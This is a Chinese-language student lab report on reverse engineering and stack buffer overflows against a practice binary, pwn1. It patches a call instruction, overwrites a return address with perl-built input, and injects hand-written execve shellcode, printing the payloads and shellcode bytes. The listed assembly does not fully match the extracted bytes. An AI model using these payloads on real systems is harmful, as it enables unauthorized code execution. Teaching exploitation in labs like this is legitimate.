《网络与系统攻防》第一次实验|逆向破解与BOF
网络与系统攻防_实验一
dky 20192414袁浩然
实验器材
- kali 32位Vmware虚拟机
- Xshell
任务详情
1. 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2. 实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
3. 评分标准
- 截图要求:
所有操作截图主机名为本人姓名拼音
所编辑的文件名包含自己的学号
如未按如上格式要求,则相应部分报告内容不记成绩。 - 出现不显示图片的情况,视为无图
- 通过博客园查重系统,抄袭现象记为0分
- 每次报告满分10分,缺少实验问题、简介方案以及感想,每个扣1分
实验内容
- 掌握基础的汇编指令。
- 对pwn进行攻击,让其可以执行shell指令。
- 掌握最基础的三种破解方式。
实验过程
实验一 直接修改程序机器指令
优缺点分析
- 方便简单破解程序
- 实战中如果
入侵
他人计算机此方法不可行,因为更改程序需要较高的权限。
知识点分析
vim
基础语法 / 查找;n/N 向上翻/向下翻 :%!xxd [-r] 编码方式转换odjdump
基础用法汇编指令
和补码
实验步骤
cp pwn1 pwn20192414_2
#保护pwn1不被破坏,此实验使用pwn20192414_2进行破解
objdump -d pwn20192414_2 | more
#对pwn2进行反汇编,并用管道拼接more,这样不会一次性打印所有信息,方便阅读和查找。
-
输入
/getShell
查看getShell函数、foo函数和main函数相关信息。
-
在0x80484b5我们可以看到调用了foo函数。
-
二进制分析:e8表示call,d7ffffff为补码,
eip = 80484ba+fffffd7=8048491
-
跳转前
-
跳转后
-
-
我们需要将eip跳转到getShell开头的地址,即
804847d
。 -
804847d-80484ba=ffffffc3
,所以需要将d7改为c3即可vim pwn20192414_2
对pwn2进行检索和修改
:%!xxd
转化成十六进制形式
/d7
查找d7
-
找到d7,发现前面为e8,后面为ffffff,可以确定为需要修改的d7
-
修改为c3,并:%!xxd -r格式转化,并:wq保存
-
objdump再检查一下
-
跑一下试试,成功啦!!!!
实验二 利用foo函数的Bof漏洞,触发getShell函数
实验原理
缓冲区溢出
攻击- 进入foo后,原EIP应当为主函数的值
,EIP的值被修改为getShell函数的地址
- 当退出foo函数中,程序不返回到EIP反而
返回到getShell函数
的地址,导致getShell可以执行。
实验步骤
-
复制 pwn1 到
pwn20192414_3
,保护pwn1不被破坏,本实验在pwn20192414_3中进行 -
查找程序漏洞
- 我们可以看到,8048497行的汇编指令为
lea -0x1c(%ebp),%eax - 即为输入的字符串留下了1c的空间,即28个字符。
- 算上ebp的4位字符空间,我们即可得到从第32个字符开始覆盖eip的存储空间
- 我们可以看到,8048497行的汇编指令为
-
验证程序漏洞
- 使用gdb进行调试,输入
111111112222222233333333444444441234
,前32位任选。 - 程序报错,查看寄存器的值,发现eip的值位4321,符合猜想
- 使用gdb进行调试,输入
-
进行破解
-
我们需要将eip的值换成getShell的首地址。
-
用objdump反汇编可getShell首地址为0x0804847d
-
应当输入\x7d\x84\x04\x08
-
因为不能直接输入不可打印ASCII码。我们需要借助perl语言(其实感觉python java之类的高级语言也可以,但是好麻烦,直接用perl吧)
perl -e 'print "1" x 32;print "\x7d\x84\x04\x08"' > input_20192414_2 -
打印32个1填满分配空间和edp,用\x7d\x84\x04\x08填充eip
-
保险起见用xxd input_20192414_2 检查一下,居然对了!!!
-
用cat和管道输入到执行函数中,破解成功!(没有打印回车,手动打印回车效果一样)
-
实验三 注入shellcode并运行这段shellcode
实验原理
- 缓冲区溢出攻击
- 进入foo后,原EIP应当为主函数的值,EIP的值为ESP下一个地址的值,即跳转到shellcode当中
- 输入字符时,先32位使得缓冲区溢出,33-36修改EIP的值使其向下执行不跳转,37位以后填充shellocde
实验步骤
- 考虑shellcode
- 这一步骤很多同学都忽略掉了,直接用现成的
二进制代码
- 本shellcode应当由
汇编语言
编译成二进制代码 - 此次实验shellcode为执行
shell的指令
- 这一步骤很多同学都忽略掉了,直接用现成的
- 书写shellcode
-
将下列汇编代码写入
yhr_scode.asm
section .text
global _start
_start:
xor eax,eax; eax=0
push eax
push 0x68732f30
push 0x6e696230
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xc
int 0x80 -
其中
push 0x68732f30 push 0x6e696230
对应如下
-
对汇编语言进行编译连接执行,发现可以正常返回shell
-
objdump
获取对应二进制代码(突然发现hostname又自动变回去了,现在改回来了)
-
得到shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
-
- 开注!
-
用gdb查看esp跳转到何方
-
由此我们可知,esp的值为bffff52c,所以我们应该让eip跳转到bffff530
-
使用perl语言生成注入文件
perl -e 'print "1" x 32;print "\x30\xf5\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_20192414_3 -
再检查一下
-
没毛病,开注!注入成功!
-
实验中遇到的问题与思考
Shellcode从何而来
- 通过简单的C语言程序编译成汇编语言
- 比着葫芦画瓢而来(根据学长的资料一步步来)
用哪个esp
- 我们可以看到,在实验三中,esp获取是注入
print "1" x 32;print "\x1\x2\x3\x4\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
得到的 - 如过输入的字符串和此长度有很大区别时,esp可能会得到bffff50c甚至bffff55c,这些都会让最后注入失败
- 应该保证测试esp跳转地址与最终注入的代码相同
机器码90什么意思
- 在老师和学长的实验中,shellcode前面都注入了很多机器码90,机器码90什么意思呢
- buf的地址因每次程序的启动而改变,所以很难精准地获取到,但它终是在一个范围内变动,我们只要将ret落在buf地址的变动范围内,最理想就是落在shellcode的起始地址里,比较理想的是落到NOP中,通过NOP的移动,执行shellcode。不过由于是测试程序,我们已经知道了注入的确切地址,一切都好办起来。
- 这应该就是刘老师所谓的滑入shellcode吧,学会了学会了
- 我实验成功只是运气好,应该。多注入几个90应当成功率up
实验心得体会
- 此次实验,是第一次系统安全实验。这次实验让我们更加熟练掌握了
汇编指令
,尤其是手写shellcode部分。 - 此外,我们还更加深入了解了一些攻防所运用到的指令,如
objdump、gdb
等等,更加了解了通道 - 通过此次实验,对计算机堆栈有了更深入的了解,切实明白了缓冲区溢出是怎么回事,应当怎么溢出。